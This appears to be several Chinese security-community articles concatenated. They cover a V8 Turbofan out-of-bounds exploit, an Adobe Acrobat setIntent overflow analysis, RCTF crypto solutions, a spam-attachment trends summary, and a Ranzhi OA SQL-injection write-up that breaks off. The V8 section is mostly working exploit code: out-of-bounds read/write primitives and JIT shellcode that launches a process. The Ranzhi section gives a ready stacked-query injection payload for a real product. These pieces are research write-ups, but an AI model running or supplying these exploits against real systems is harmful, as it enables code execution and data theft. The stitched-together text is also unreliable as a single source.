const buf = new ArrayBuffer(8);
const f64 = new Float64Array(buf);
const u32 = new Uint32Array(buf);
// Floating point to 64-bit unsigned integer
function f2i(val)
{
f64[0] = val;
let tmp = Array.from(u32);
return tmp[1] * 0x100000000 + tmp[0];
}
// 64-bit unsigned integer to Floating point
function i2f(val)
{
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
u32.set(tmp);
return f64[0];
}
function foo(x)
{
// x = 2**28;
let b = 'A'.repeat(2**30-25).indexOf('',x);
let a = b + 25;
let c = a >> 30;
// print(c);
let idx = c * 5;
print(idx);
let oobArray = [1.1,2.2,3.3,4.4];
oobArray[idx] = 1.74512933848984e-310;//i2f(0x202000000000);
return oobArray;
}
// for(var i=0;i<0x10000;i++)
// {
// var k = foo();
// if(k!=undefined)
// {
// print(k);
// }
// }
foo(1);
foo(1);
%OptimizeFunctionOnNextCall(foo);
let oob = foo(2**30-25);
%DebugPrint(oob);
%SystemBreak();
//在实际运行中foo(2**30-25)明明是1
// 1.1
// 1.1
// --------城------------------------------------------- // Begin compiling method foo using Turbofan
// --------------------------------------------------- // Finished compiling method foo using Turbofan
// 1.1
// d8> 'A'.repeat(2**30-25).indexOf('',2**30-25)
// 1073741799
// d8> 1073741799+25
// 1073741824
// d8> 1073741824>>30
// 1
// d8>
/*
0
1.1
0
1.1
--------------------------------------------------- Begin compiling method foo using Turbofan
--------------------------------------------------- Finished compiling method foo using Turbofan
5
1.1*/
上面POC的效果是将oobArray的第5个元素修改成1.74512933848984e-310;//i2f(0x202000000000)
在debug模式下运行一下
从上图中可以发现OOB成功
## 3 EXP
接下来的流程就是和[之前](https://www.anquanke.com/post/id/214020)的利用方法相似了,只不过最后一步用的是JIT,使用ArrayBuffer
object 实现弹出计算器
如果不清楚这次利用的方法,建议阅读上面链接中的背景知识
#### 3.1 change the size of oobArray
通过debug模式下的图解,我们可以知道我们要修改的是idx = 7的位置(如下图)
我尝试用下面的脚本进行修改大小时
/*************************************************************
* File Name: m_exp.js
*
* Created on: xx.xx.xx
* Author: init-0
*
* Last Modified:
* Description: exp for 762874
************************************************************/
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
const MAX_ITERATIONS = 10000;
const buf = new ArrayBuffer(8);
const f64 = new Float64Array(buf);
const u32 = new Uint32Array(buf);
// Floating point to 64-bit unsigned integer
function f2i(val)
{
f64[0] = val;
let tmp = Array.from(u32);
return tmp[1] * 0x100000000 + tmp[0];
}
// 64-bit unsigned integer to Floating point
function i2f(val)
{
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
u32.set(tmp);
return f64[0];
}
let obj = [];
let ABuffer = [];
function foo(x)
{
// x = 2**28;
let b = 'A'.repeat(2**30-25).indexOf('',x);
let a = b + 25;
let c = a >> 30;
// print(c);
let idx = 7 * 5;
// print(idx);
let oobArray = [1.1,2.2,3.3,4.4];
oobArray[idx] = 1.74512933848984e-310;//i2f(0x202000000000);
return oobArray;
}
// for(var i=0;i<0x10000;i++)
// {
// var k = foo();
// if(k!=undefined)
// {
// print(k);
// }
// }
foo(1);
foo(1);
for(let i=0; i<MAX_ITERATIONS; i++) {
foo(1)
}
let oob = foo(2**30-25);
console.log("[*] ========> "+hex(oob.length));
%DebugPrint(oob);
%SystemBreak();
按理说应该会改成0x2020
修改成功
#### 3.2 Read and write at any address && obj leak
利用ArrayBuffer 的 Backstore指针 与 object
如果这一步不是很懂,可以看一下之前的[背景知识](https://www.anquanke.com/post/id/214020#h3-4)
本部分的代码如下
其中gc()函数是使得内存更加的稳定
obj.push({mark:i2f(0x11111111),n:i2f(0x41414141)});
ABuffer.push(new ArrayBuffer(0x200));
gc();
var off_buffer = 0;
var off_obj = 0;
for(var i=0;i<500;i++)
{
let tmp = oob[i];
if(f2i(tmp) == 0x11111111)
{
off_obj = i+1;
break;
}
}
for(var i=0;i<500;i++)
{
let tmp = oob[i];
if(f2i(tmp) == 0x0000020000000000)
{
off_buffer = i+1;
break;
}
}
console.log("[+] off_obj @"+off_obj);
console.log("[+] off_buffer @"+off_buffer);
这里简单解释一下,笔者在oob地址下方push了一个ArrayBuffer 和 一个object
并通过oob数组越界找到其位置,运行效果如下
之后写了三个函数,分别用于泄漏地址,任意地址读,任意地址写
let dataView = new DataView(ABUF[ABUF.length-1]);
function addrof(x)
{
obj[0].n = x;
return f2i(oob[off_obj]);
}
function abread(addr)
{
oob[off_buffer] = i2f(addr);
// let bigint = new BigUint64Array(ABUF);
// return bigint[0];
return f2i(dataView.getFloat64(0,true));
}
function abwrite(addr,payload)
{
oob[off_buffer] = i2f(addr);
for(let i=0; i<payload.length; i++) {
dataView.setUint8(i, payload[i]);
}
}
#### 3.3 Get calc
这一步利用的是JIT
首先找到JIT代码的位置
var jit = new Function("var a=1000000");
// %DebugPrint(ABuffer);
// %DebugPrint(oob);
// %SystemBreak();
var jit_addr = addrof(jit) - 1;
console.log("jit_addr ==> 0x"+jit_addr.toString(16))
var rwx_addr = abread(jit_addr+0x38) - 1 + 0x60
console.log("rwx_addr ==> 0x"+rwx_addr.toString(16))
之后写入shellcode并执行
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
abwrite(rwx_addr,shellcode);
jit();
// f();
最终效果
## 4 遇到的问题
#### 4.0
说明:下面的问题是我刚开始想使用wasm方法写exp遇到的
写exp脚本的时候遇到了下面的问题
dataview.getFloat64(byteOffset [, littleEndian])
RangeError如果byteOffset超出了视图能储存的值，就会抛出错误.
这里最后的问题在于backstore的偏移找错了
应该是wasm的偏移找错了
解决方法在Debug模式下,打印出函数的地址,通过内存一点点找到RWX位置
打印出的函数地址,以及share_info位置
我们对应一下相对偏移(0x20)
同理利用上面的方法依次找到wasm instance RWX地址
实在不行,还可以search一下,比如上图我们找箭头的位置
下面的图片就不贴了,方法都是一样的
还有一个问题就是
下面脚本的位置有的时候在数字后面要加上’n’,有时不用 ,应该和不同版本的v8有关系
## 5 参考
<https://docs.google.com/presentation/d/1DJcWByz11jLoQyNhmOvkZSrkgcVhllIlCHmal1tGzaw/edit#slide=id.p>
<https://migraine-sudo.github.io/2020/02/22/roll-a-v8/#JIT> 关于JIT寻找部分
除了上面这些参考,后面大部分都是探索出来的
## 6 总结
6.1 对于Turbofan的理解有时比具体的利用思路更加的重要
6.2 菜鸟还得继续努力 | 社区文章 |
# Adobe Acrobat OCG setIntent 整数溢出及补丁绕过分析
|
##### 译文声明
本文是翻译文章，文章来源：https://www.zerodayinitiative.com/
原文地址：<https://www.zerodayinitiative.com/blog/2018/5/29/malicious-intent-using-adobe-acrobats-ocg-setintent>
译文仅供参考，具体内容表达以及含义原文为准。
## 介绍
在过去的几年中，我们看到了关于Adobe的漏洞数量激增，可见Adobe
Acrobat和Reader拥有相当大的关注度。虽然大多数这些漏洞都是些简单的文件分析问题，但也有不少`XML Forms
Architecture（XFA）`和`JavaScript`漏洞。JavaScript漏洞对于攻击者来说是最有趣的，因为这给攻击者提供控制权`(allocations/frees/spraying
等)`。Acrobat中的JavaScript引擎存在许多漏洞，我们今年发布的关于Acrobat的80条建议就是明证。
在这篇博文中，我将讨论我们通过程序[ZDI-18-173](https://www.zerodayinitiative.com/advisories/ZDI-18-173/)收到的一个漏洞，它影响了`setIntent`可选内容组`(OCG)
JavaScript`函数。这个漏洞很有趣，不仅是因为Adobe试图修补它的方式。我们接下来一起来看看吧！
## 概观
[OCG](https://acrobatusers.com/tutorials/print/creating-and-using-layers-ocgs-with-acrobat-javascript)用于控制页面内容的可见性。在Acrobat中，可以通过JavaScript创建和控制这些图层。
例如，我们可以通过`addWatermarkFromText`函数创建一个简单的`OCG` ：
this.addWatermarkFromText(“AAA”);
我们可以通过`getOCGs`函数检索`OCGs`:
this.getOCGs();
`OCG`对象公开了允许我们在一定程度上控制图层的各种属性和方法。我比较感兴趣`setIntent`方法。该方法用于设置`OCG intent`数组。
根据`JavaScript API`参考，此函数将数组作为参数。我们可以从控制台验证这一点：
## The Bug
`setIntent`在内部实现`Escript.api`，位于`Acrobat`中的`plug-ins`文件夹内。我不会深入研究如何在`Escript`中找到`setIntent`，我们将在以后的MindshaRE博客中讨论。
现在，让我们假设，我们设`setInten`在`Escript`：
我删除了`sub_238B9F62`函数的反编译代码的一部分，只保留了其相关部分：
在上面的图2的[1]中，获取数组的长度属性并由攻击者完全控制。然后在上图中的[3]处，根据[2]计算的大小分配内存。最后，在[4]中，该长度用于溢出分配缓冲区的循环中：
## POC
从逻辑上讲，任何导致`wrap（>
0x7FFFFFFF）`的值都会带有易受攻击的代码路径。因此，在修正bug时应考虑到这个问题。然而，Adobe的开发人员决定采用修补程序快捷方式：
他们想确保大小不是完全 `0x7FFFFFFF`。显然，这是不够的，因为这不是触发错误的唯一值。
一旦补丁出来，研究人员不会浪费时间。几个小时后，他直接给我们发送了补丁。POC看起来与原来的POC完全一样，但有一点小改变：将数组长度设置为`0xFFFFFFFF`而不是`0x7FFFFFFF`。同样，任何大于`0x7FFFFFFF的`值都可以。下图是bypass：
这一次，Adobe的开发人员提出以下解决方案来避免整数换行：
## 结论
Adobe
Acrobat的攻击面之大令人惊讶。想想有多少系统安装了Acrobat。更严重的是缺乏高级的缓解措施，使得它比其他应用程序更容易定位。再加上一些不太合适的补丁，这就是为什么它仍然是研究人员的热门目标。与其他厂商相比，Acrobat追赶现代还有很长的路要走，我们将密切关注他们的改进。在此之前，Acrobat可能仍然是寻找bug的目标。 | 社区文章 |
密码学只做出来两题 baby, 暗示我还是学密码学的 baby (逃
## baby_crypto
这题还算比较常规, 主要逻辑如下
while True:
try:
print("Input your cookie:")
data_hex = sys.stdin.readline().strip()
data = binascii.unhexlify(data_hex)
assert(len(data) > iv_len + hash_len)
iv, cookie_padded_encrypted, hv = data[:iv_len], data[iv_len: -hash_len], data[-hash_len:]
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=backend)
decryptor = cipher.decryptor()
cookie_padded = decryptor.update(cookie_padded_encrypted) + decryptor.finalize()
try:
cookie = unpad(cookie_padded)
except Exception as e:
print("Invalid padding")
continue
if not is_valid_hash(cookie, hv):
print("Invalid hash")
continue
info = {}
for _ in cookie.split(b";"):
k, v = _.split(b":")
info[k] = v
if info[b"admin"] == b"1":
with open("flag") as f:
flag = f.read()
print("Your flag: %s" %flag)
很明显的看到可以 `padding oracle`, 只要满足 `info[b"admin"] == b"1"` 就可以拿到 `flag`,
但在 `cookie` 后面设置了 hash 来效验 `cookie` 的有效性, 但是没有检测重复的键值
所以这里可以结合长度扩展攻击, 我们假设 `cookie` 为 `admin:0;username:abcde;password:abcde`
我们可以在原 `cookie` 后面添加一个 `;admin:1`, 得到
`admin:0;username:abcde;password:abcde\x80\x00\x00\x00\x00\x00\x00\x00\x00\x01\xa8;admin:1`,
因为顺序的关系, 这将覆盖之前的值, 从而满足条件. 脚本如下
一开始没有国内的服务器, 写完下午睡了一觉起来才跑完 233
import remotecli # https://github.com/rmb122/remoteCLI
import hashpumpy
from binascii import hexlify, unhexlify
import copy
from tqdm import tqdm
def padding(byte):
padlen = 16 - len(byte) % 16
byte += bytearray([padlen] * padlen)
return byte
def addIvLastByte(iv, currIndex, midval):
target = 16 + 1 - currIndex
for i in range(currIndex, 16):
iv[i] = midval[i] ^ target
return iv
def xor(a, b):
result = []
for i in range(len(a)):
result.append(a[i] ^ b[i])
result = bytearray(result)
return result
cli = remotecli.CLI()
cli.connect('207.148.68.109', 20000)
cli.sendLine('abcde')
cli.sendLine('abcde')
hv_hex_len = 40
iv_len = 16
orgCookie = 'admin:0;username:abcde;password:abcde'
cookie = cli.recvLinesUntilHave('Input your cookie:')[-2]
print(cookie)
hv_hex = cookie[-hv_hex_len:]
iv = cookie[:iv_len]
cookieEnc = cookie[iv_len: - hv_hex_len]
fakeHash, fakeCookie = hashpumpy.hashpump(hv_hex, orgCookie, ';admin:1', iv_len)
print(fakeCookie)
print(fakeHash)
fakeHash = bytearray(unhexlify(fakeHash))
fakeCookie = padding(fakeCookie)
assert len(fakeCookie) == 64
dummy = bytearray([0 for i in range(len(fakeCookie) + 16)]) # iv + cookie
for pos in range(64 + 16, 16, -iv_len):
curr = dummy[pos - iv_len:pos]
iv = bytearray([0 for i in range(iv_len)])
midval = bytearray([0 for i in range(iv_len)])
for currIndex in range(0, iv_len)[::-1]:
for i in tqdm(range(0, 256)):
iv[currIndex] = i
cli.sendLine(hexlify(iv + curr + fakeHash))
res = cli.recvline()
#print(res)
cli.recvline()
if "Invalid padding" not in res:
midval[currIndex] = (16 - currIndex) ^ iv[currIndex]
if currIndex == 0:
tmp = xor(midval, fakeCookie[pos-iv_len*2:pos-iv_len])
for tmpPos in range(0, 16):
dummy[pos-iv_len*2 + tmpPos] = tmp[tmpPos]
iv = addIvLastByte(iv, currIndex, midval)
break
cli.sendLine(hexlify(dummy + fakeHash))
cli.console()
## baby_aes
这题比较有意思, 操作还是比较硬核的, 主要逻辑
K = b"\x01\x23\x45\x67\x89\xab\xcd\xef\xfe\xdc\xba\x98\x76\x54\x32\x10"
Ke = init(K)
backend = default_backend()
key = os.urandom(16)
iv = encrypt(key, Ke)
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=backend)
decryptor = cipher.decryptor()
try:
print("Input a hexstr to decrypt:")
data = sys.stdin.readline().strip()
ciphertext = binascii.unhexlify(data)
plaintext = decryptor.update(ciphertext) + decryptor.finalize()
print("Decrypted result:")
print(binascii.hexlify(plaintext).decode())
except Exception as e:
pass
with open("flag", 'rb') as f:
flag = f.read()
padder = padding.PKCS7(128).padder()
flag_padded = padder.update(flag) + padder.finalize()
encryptor = cipher.encryptor()
flag_encrypted = encryptor.update(flag_padded) + encryptor.finalize()
print("Your encrypted flag is:")
print(binascii.hexlify(flag_encrypted).decode())
其中 `init` 函数是 AES 秘钥扩展, `encrypt` 是 AES 轮函数, 但是改变了 AES 原来的常数, 这两个函数也是本题的核心,
我们留到后面讲. 这里假设我们已经写出对应的解密函数,
看到 `iv = encrypt(key, Ke)`, 可以看到 iv 就是 key 的加密, 只要我们能获得 `iv`, 就能解密出 `key`,
从而解密得到 `flag`.
注意到这里是用 AES 解密输入的数据, 结合 CBC 模式
我们可以输入两个相同分块(b1 + b1')长度的数据, 其中解密结果的第二块(o2)是这样算出来的
`xor(AESdec(b1'), b1) = o2`
而 `o2`, `b1` 都是已知的, 我们就可以解出 `AESdec(b1)`, 因为我们输入的两个分块相同,
我们将 `AESdec(b1)` 与 `o1` xor 一下, 就能得到 `iv`, 这时只要用 `K` 解密 `iv` 就能得到 `key`
从而解密 `flag`.
但问题就是这里出题人魔改了 AES, 不能直接解密, 这里最好自己写过一遍 AES 的实现, 否则接下来有些部分可能不太方便,
首先可以搜到作者魔改的[原代码](https://github.com/ricmoo/pyaes/blob/master/pyaes/aes.py)
可以看到 Sbox, T1-4 都被修改, 并且没有给出对应的逆变换
`S = [0x63, 0x7c, 0x77, 0x7....` <-原来的
`S = [0x93 ,0x43 ,0x5D ,0x6....` <-魔改之后的
但是从 `rcon = [....0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91 ]` 这最后几个
数据可以看出, 仍然还是在 `GF(2^8) mod x^8 + x^4 + x^3 + x + 1` 上的, 否则 0xc5 * 2 不会等于 0x91
所以这里应该只是单纯的改了 Sbox, 不是改其他常数带来的副作用.
接下来可以看到 T 被完全修改了, 首先了解一下 T 变换是干嘛的,
这里借一张图说明
注: ShiftRow 与 ByteSub 之间的顺序不敏感, 可以在进入变换之前就 ShiftRow 好, 就跟上图一样, 取的不是原矩阵的一行, 而是
ShiftRow 之后矩阵的一行
T 变换是结合了 ByteSub MixColumn, 将 AES 轮函数中的两步并到一起, 加速效率的一种方法, 如果按照原来的矩阵乘法
d0 = 2 * ByteSub(b0) + 3 * ByteSub(b1) + 1 * ByteSub(b2) + 1 * ByteSub(b3)
d1 = 1 * ByteSub(b0) + 2 * ByteSub(b1) + 3 * ByteSub(b2) + 1 * ByteSub(b3)
d2 = 1 * ByteSub(b0) + 1 * ByteSub(b1) + 2 * ByteSub(b2) + 3 * ByteSub(b3)
d3 = 3 * ByteSub(b0) + 1 * ByteSub(b1) + 1 * ByteSub(b2) + 2 * ByteSub(b3)
算起来非常的麻烦, 但是看到
2 * ByteSub(b0)
1 * ByteSub(b0)
1 * ByteSub(b0)
3 * ByteSub(b0)
可以想到这结构完全是固定的, 因为加密的是字节, 定义域是 0-255, 完全可以将 0-255 的值带入 b0, 将所有值提前算出, 并成 4 个字节,
在使用时查表就行, 大大提高效率. 因为 GF(2^8) 上的加法实际上就是 xor, 所以
`MixColumn(ByteSub(b0 b1 b2 b3)) = T1[b0] xor T2[b1] xor T3[b2] xor T4[b3]`
在本题中, 假设进入轮函数之前 state 全是 0, 那么这里查表可以直接一步到位 `T1[0] ^ T2[0] ^ T3[0] ^ T4[0] =
0xaeaeaeae`, 而按照原列混合的矩阵算等于 `0x93939393` 说明列混合的矩阵也被修改, 这就比较麻烦了, 需要用一下 `sage`.
因为假设输入轮函数的 state 全是 0， 那么 subByte 的得到的是 0x93, 而 `T[0] = 0xF467D4E9`, 原 AES
的因数是 `(2, 3, 1, 1)`, 这里我们假设魔改之后的是 `(cofe[0], cofe[1], cofe[2], cofe[3])`
按照上面 T 变换的定义, `T[0]` 是这么来的
cofe[0] * b0
cofe[3] * b0
cofe[2] * b0
cofe[1] * b0
而本题 `T[0] = 0xF467D4E9` 可以写出
`0x93 * cofe[0] = 0xF4`, `0x93 * cofe[3] = 0x67`, `0x93 * cofe[2] = 0xD4`,
`0x93 * cofe[1] = 0xE9`,
在 0-255 的范围内爆破下,
sage: F.<x> = GF(2^8, modulus=[1,1,0,1,1,0,0,0,1])
sage: F.modulus()
x^8 + x^4 + x^3 + x + 1
sage: def f(num):
....: global F
....: return F.fetch_int(num)
....:
sage: for i in range(0,256):
....: if f(0x93)*f(i)==f(0xf4):
....: print(i)
....:
8
sage: for i in range(0,256):
....: if f(0x93)*f(i)==f(0x67):
....: print(i)
....:
9
sage: for i in range(0,256):
....: if f(0x93)*f(i)==f(0xd4):
....: print(i)
....:
7
sage: for i in range(0,256):
....: if f(0x93)*f(i)==f(0xe9):
....: print(i)
....:
5
那么四个因数是 `(8, 5, 7, 9)`, 还原成矩阵求 GF(2^8) 上的逆矩阵, 再用一下 `sage`, 当然如果是大佬可以手算
_(:з」∠)_
sage: c = matrix(F, [[f(8), f(5), f(7), f(9)], [f(9), f(8), f(5), f(7)], [f(7), f(9), f(8), f(5)], [f(5), f(7), f(9), f(8)]])
sage: c.inverse()
[ x^7 + x^4 + x^2 + x x^7 + x^6 + x^3 x^7 + x^4 + x^2 + 1 x^5 + x^4 + x^3 + x^2 + 1]
[x^5 + x^4 + x^3 + x^2 + 1 x^7 + x^4 + x^2 + x x^7 + x^6 + x^3 x^7 + x^4 + x^2 + 1]
[ x^7 + x^4 + x^2 + 1 x^5 + x^4 + x^3 + x^2 + 1 x^7 + x^4 + x^2 + x x^7 + x^6 + x^3]
[ x^7 + x^6 + x^3 x^7 + x^4 + x^2 + 1 x^5 + x^4 + x^3 + x^2 + 1 x^7 + x^4 + x^2 + x]
转换回数字表示就是
`cofes = (150, 200, 149, 61)`
带进 invMixColumn 就可以正确解密啦, 如果没有自己写过的话,
可以参考我写的[辣鸡实现](https://github.com/rmb122/Cryptography/blob/master/AES-128-CBC.py)
修改 `mixColumn` 和 `invMixColumn` 里面的 `polynomialMutil` 函数乘的数为矩阵对应位置的数就行了
既然现在可以解密, 按着上面的思路就能拿 `flag` 了~
接下来 nc 一下, 输入 16 个 1,
Input a hexstr to decrypt:
3131313131313131313131313131313131313131313131313131313131313131
Decrypted result:
3205fe135b595e72c90d2613ada3087812f10dee01e66c4d1e47089a0ff0f18c
Your encrypted flag is:
c2c06ee0e21dae7e5b64fcb84397b4ed920c28bb81a676d817a4b920564bd04dd2a570900ff2e9d5fee9cb74c37c4812
from Crypto.Cipher import AES as stdAES
from Crypto.Util.strxor import strxor
K = b"\x01\x23\x45\x67\x89\xab\xcd\xef\xfe\xdc\xba\x98\x76\x54\x32\x10"
hexstr = '11111111111111111111111111111111'.encode()
dec = unhexlify('3205fe135b595e72c90d2613ada3087812f10dee01e66c4d1e47089a0ff0f18c')
midVal = strxor(dec[16:32], hexstr[0:16])
iv = strxor(dec[0:16], midVal)
aes = AES()
key = aes.decryptBlock(iv, K)
print(key)
print(iv)
flag = unhexlify('c2c06ee0e21dae7e5b64fcb84397b4ed920c28bb81a676d817a4b920564bd04dd2a570900ff2e9d5fee9cb74c37c4812')
stdaes = stdAES.new(key, stdAES.MODE_CBC, iv)
print(stdaes.decrypt(flag))
'''
b'N\t\x9c\xce*\xfa\xc1\x02\x94\xd1\x02\xf2\xb8d*E'
b'\x11\xc5\xc2\xcck\x8e\x03\x0e\xe6{\x1f\xb8\x93b\xc8\xc5'
b'RCTF{88358abe-e571-4bdf-95a3-93e9d8ddf558}\x06\x06\x06\x06\x06\x06'
'''
这样子求解, 比直接爆破四个因数优雅很多, 而且之后遇到类似题目, 修改列混合的因数, 可以直接按照上面的方法通杀 | 社区文章 |
随着网络攻防的进一步演进，网络犯罪分子也学到了很多，不断开发出新的更具创造性的恶意软件。研究人员发现最近的垃圾邮件攻击活动中出现了一些之前很少用到的文件类型。
2017年的年度报告中研究人员发现恶意软件相关的垃圾邮件活动中最常用的文件类型是`.XLS, .PDF, .JS, .VBS, .DOCX, .DOC,
.WSF, .XLSX, .EXE,.HTML`。今年，网络犯罪分子扩展了一些新的文件格式，下面一一进行讲解。
# .ARJ和.Z文件
ARJ表示Archived by Robert
Jung，是上世纪90年代的一款高效率档案压缩工具，只支援Intel的16-bit与32-bit的CPU。2014年，ARJ文件扩展格式出现在一起恶意邮件活动中。近期又有大量的含有`.ARJ`文件的恶意文件在大肆传播。Trend
Micro检测到7000个ARJ压缩的恶意文件。
图1. 含有恶意.ARJ文件附件的垃圾邮件活动感染链
图2. 含有ARJ文件附件的垃圾邮件截图
研究人员近期一个传播恶意`.ARJ`文件的小型垃圾邮件活动。这些垃圾邮件的主题主要是声明或订单相关信息，比如STATEMENT OF OUTSTANDING
BALANCE AS YOUR REFERENCE、New Order-Snam Thai Son Group//PO//Ref 456789等。
恶意`.ARJ`文件下载到设备后，就会释放并执行一个可执行文件或可执行文件屏幕保护文件。
图3. 含有`.Z`文件的内容
2014年，含有`.ARJ`文件附件的垃圾邮件会在成功解压文件后，将受感染的计算机变成僵尸网络的一部分，用于垃圾邮件或DoS攻击。这次攻击活动中的payload是一个监视软件，可以从浏览器中窃取系统用户名和密码等信息。恶意软件还会尝试从多个邮件服务平台窃取已保存的邮箱凭证。
犯罪分子还恶意使用了`.Z`文件。`.Z`文件扩展是基于UNIX的压缩文件格式，也逐渐被GNU
Gzip替代了。但是因为过去是双扩展（比如`.PDF.z`），所以用户可能以为自己打开的是PDF文件而不是Z文件。
图4. 附件为.Z文件扩展的虚假订单邮件
与`.ARJ`文件类似，保存的文件可能含有一个明文的`.exe`文件和一个可执行的屏幕保护文件。含有`.Z`文件附件的垃圾邮件活动传播的后门payload可以在受害者计算机中打开、重命名和删除文件，也可以进行键盘输入记录，甚至可以用计算机的摄像头和麦克风获取图像和录音。
# .PDF文件
使用`.PDF`文件来传播恶意软件也很常见。今年早些时候，研究人员就发现一起使用`.PDF`文件来传播下载和后门，攻击金融组织的活动。最近，研究人员发现攻击者在`.PDF`附件中嵌入了`.IQY`和`.PUB`文件。下载后，恶意`.IQY`和`.PUB`文件可以用JS代码执行：
图5. 执行.IQY和.PUB文件的JS代码
JS代码会用`exportDataObject`函数来导出和启动恶意软件，本例中函数名为`nLaunch`，而导出的对象和文件是通过`cName`指定的。函数`nLaunch
= 2`表明恶意文件在启动前会保存在`%TEMP%`中。
图6. 在.PDF文件中嵌入.PUB的恶意垃圾邮件活动感染链
# .IQY文件
Necurs垃圾邮件活动在滥用Excel Dynamic Data Exchange (DDE)特征来传播FlawedAmmyy
RAT后就使用`Internet Query Files
(IQY)`文件作为感染向量。之后，用IQY文件作为感染向量开始变得流行，本例中`.IQY`文件被嵌入在`.PDF`文件中。
今年8月15日，研究人员就发现一起将`.IQY`文件嵌入到`.PDF`文件中的垃圾邮件活动。
图7. 将.IQY文件嵌入到.PDF文件中来传播Marap木马的恶意垃圾邮件活动感染链
图 8. 嵌入.IQY文件的.PDF文件截图
最近日本还有滥用`.IQY`文件来传播BEBLOH和URSNIF恶意软件的攻击活动。
# .PUB
如今的垃圾邮件活动已经很少使用恶意宏文件了，所以攻击者开始使用一些不太常见的文件格式来传播恶意软件。8月份研究人员还发现一起使用微软office应用MS
Publisher软件来传播恶意软件的活动。就像`.IQY`文件一样，打开publisher文件后，其中嵌入的恶意宏文件就会开始执行。
图9. 含有恶意宏文件的.PUB文件
# SettingContents-ms
Windows 10发布后出现了一种新的文件类型`SettingContent-ms`。这种文件一般含有Windows函数的设置内容，用来创建老版Windows控制面板的快捷方式。网络犯罪分子不久就利用了该函数，并将其嵌入到office应用中。7月初的垃圾邮件活动中网络犯罪分子就在PDF文档中嵌入了恶意`SettingContent-ms`文件来传播FlawedAmmyy remote access Trojan (RAT)。
图10. 用嵌入JS代码和SettingContent-ms文件的PDF传播FlawedAmmyy RAT的感染链
研究还发现可以用恶意文件替换`DeepLink`标签的方式来滥用`SettingContent-ms`。
<https://blog.trendmicro.com/trendlabs-security-intelligence/same-old-yet-brand-new-new-file-types-emerge-in-malware-spam-attachments/> | 社区文章 |
### **前言**
前段时间在做然之协同系统代码审计，这里做个简单的总结。
### **第一弹：SQL注入漏洞**
#### 0x01 注入漏洞分析
问题出现在/lib/base/dao/dao.class.php文件中的orderBy函数中，
public function orderBy($order)
{
if($this->inCondition and !$this->conditionIsTrue) return $this;
$order = str_replace(array('|', '', '_'), ' ', $order);
/* Add "`" in order string. */
/* When order has limit string. */
$pos = stripos($order, 'limit');
$orders = $pos ? substr($order, 0, $pos) : $order;
$limit = $pos ? substr($order, $pos) : '';//截limit
$orders = trim($orders);
…………
$order = join(',', $orders) . ' ' . $limit; //直接拼接
$this->sql .= ' ' . DAO::ORDERBY . " $order";
return $this;
}
简单分析一下orderBy函数，首先是把输入的$order变量过滤掉`|`、`SOH`、`_`字符，然后查看输入变量中是否存在limit字符，如果存在的话，对其进行截断，字符limit前形成`$orders`变量，limit字符后的内容变成`$limit`变量，问题就出在这里，之后并没有对`$limit`变量进行过滤，拼接到`$orders`变量之后，然后直接带入查询，并且然之协同框架支持多语句查询，因此可以构造多语句进行基于时间的SQL盲注注入。
但是这里如果跑数据库内容会出现一个问题，由于输入变量过滤掉了_字符，并且这个字符是数据库中表必有的。不过这里可以利用mysql的存储过程进行绕过。
存储过程的利用形式如下：
set @query=0x…; (注入语句的ASCII值)
prepare stmt from @query;
execute stmt;
#### 0x02 漏洞利用
这里以最新版ranzhi4.6.1为例
<http://127.0.0.1/ranzhi/www/cash/block-printTradeBlock.html>
此处会调用orderby函数。
#### Step 1:
构造原始param :
{"orderBy":"id limit 0,1;select if(1=2,1,sleep(2))#" }
Base64加密:
eyJvcmRlckJ5IjoiaWQgbGltaXQgMCwxO3NlbGVjdCBpZigxPTIsMSxzbGVlcCgyKSkjIiB9
POC为：
http://127.0.0.1/ranzhi/www/cash/block-printTradeBlock.html?param=eyJvcmRlckJ5IjoiaWQgbGltaXQgMCwxO3NlbGVjdCBpZigxPTIsMSxzbGVlcCgyKSkjIiB9
此时会延时等待2秒，但是ranzhi数据库的表名中存在下划线，所以还不能直接利用该payload进行爆破。引入存储机制。
#### Step 2:
注入语句：
select if(30<ord(substr(password,1,1)),sleep(2),1) from sys_user
十六进制：
0x73656c6563742069662833303c6f7264287375627374722870617373776f72642c312c3129292c736c6565702832292c31292066726f6d207379735f75736572
构造原始param :
{"orderBy":"id limit 0,1; set @query=0x73656c6563742069662833303c6f7264287375627374722870617373776f72642c312c3129292c736c6565702832292c31292066726f6d207379735f75736572;prepare stmt from @query;execute stmt;" }
Base64加密后最终POC:
http://127.0.0.1/ranzhi/www/cash/block-printTradeBlock.html?param=eyJvcmRlckJ5IjoiaWQgbGltaXQgMCwxO3NldCBAcXVlcnk9MHg3MzY1NmM2NTYzNzQyMDY5NjYyODMzMzAzYzZmNzI2NDI4NzM3NTYyNzM3NDcyMjg3MDYxNzM3Mzc3NmY3MjY0MmMzMTJjMzEyOTI5MmM3MzZjNjU2NTcwMjgzMjI5MmMzMTI5MjA2NjcyNmY2ZDIwNzM3OTczNWY3NTczNjU3MjtwcmVwYXJlIHN0bXQgZnJvbSBAcXVlcnk7ZXhlY3V0ZSBzdG10OyIgfQ==
#### 0x03 脚本演示
这里写个简单的脚本跑了一下，效果还不错，如下
* * *
### **第二弹：后台任意文件删除**
从注入漏洞中，不难发现可以进行多行SQL语句执行，因此能控制数据库表里的内容。
#### 0x01 漏洞分析
任意文件删除的触发点有很多，这里以一个简单的利用点为例：
public function getByID($fileID)
{
$file = $this->dao->findById($fileID)->from(TABLE_FILE)->fetch();
